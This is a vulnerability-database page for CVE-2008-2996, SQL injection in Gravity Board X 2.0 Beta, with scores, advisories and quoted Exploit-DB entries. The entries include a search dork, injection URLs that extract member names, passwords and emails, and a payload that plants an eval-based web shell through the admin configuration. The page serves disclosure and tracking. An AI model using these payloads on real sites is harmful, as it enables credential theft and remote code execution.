CVE-2008-2996
published 2008-07-03CVE-2008-2996: Multiple SQL injection vulnerabilities in index.php in Gravity Board X (GBX) 2.0 Beta, when magic_quotes_gpc is disabled, allow remote attackers to execute…
PriorityP337medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EXPLOIT
EPSS
0.92%
55.7th percentile
Multiple SQL injection vulnerabilities in index.php in Gravity Board X (GBX) 2.0 Beta, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) searchquery parameter in a getsearch action, and the (2) board_id parameter in a viewboard action.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| gravityboardx | gravity_board_x | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-h596-gpmm-rmph: SQL injection vulnerability in index
ghsa_unreviewed·2022-05-02·CVSS 6.8
CVE-2009-1277 [MEDIUM] CWE-89 GHSA-h596-gpmm-rmph: SQL injection vulnerability in index
SQL injection vulnerability in index.php in Gravity Board X (GBX) 2.0 BETA allows remote attackers to execute arbitrary SQL commands via the member_id parameter in a viewprofile action. NOTE: the board_id issue is already covered by CVE-2008-2996.2.
GHSA
GHSA-qc5h-5mc6-5cc9: Multiple SQL injection vulnerabilities in index
ghsa_unreviewed·2022-05-01
CVE-2008-2996 [MEDIUM] CWE-89 GHSA-qc5h-5mc6-5cc9: Multiple SQL injection vulnerabilities in index
Multiple SQL injection vulnerabilities in index.php in Gravity Board X (GBX) 2.0 Beta, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) searchquery parameter in a getsearch action, and the (2) board_id parameter in a viewboard action.
No detection rules found.
Exploit-DB
Gravity Board X 2.0 Beta - SQL Injection / (Authenticated) Code Execution
exploitdb·2009-04-03
CVE-2009-1278 Gravity Board X 2.0 Beta - SQL Injection / (Authenticated) Code Execution
Gravity Board X 2.0 Beta - SQL Injection / (Authenticated) Code Execution
---
Found : brain[pillow]
Dork : "Powered By Gravity Board X v2.0 BETA"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail : [email protected]
SQL-injections:
/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1
/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1
Code exec (in admin panel):
Go: /index.php?action=configure
Enter Board Name: xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go: /index.php?ok=phpinfo();
# milw0rm.com [2009-04-03]
Exploit-DB
Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting
exploitdb·2008-06-12
CVE-2009-1277 Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting
Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting
---
Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
AUTHOR : CWH Underground
DATE : 12 June 2008
SITE : www.citec.us
#####################################################
APPLICATION : Gravity Board X
VERSION : 2.0 Beta
DOWNLOAD : http://downloads.sourceforge.net/gbx
#####################################################
+++ Remote Stored XSS Exploit +++
When you create new thread in forum, you can inject javascript in title fie
No writeups or analysis indexed.
http://securityreason.com/securityalert/3970http://www.securityfocus.com/bid/29685https://exchange.xforce.ibmcloud.com/vulnerabilities/43022https://www.exploit-db.com/exploits/5791http://securityreason.com/securityalert/3970http://www.securityfocus.com/bid/29685https://exchange.xforce.ibmcloud.com/vulnerabilities/43022https://www.exploit-db.com/exploits/5791
2008-07-03
Published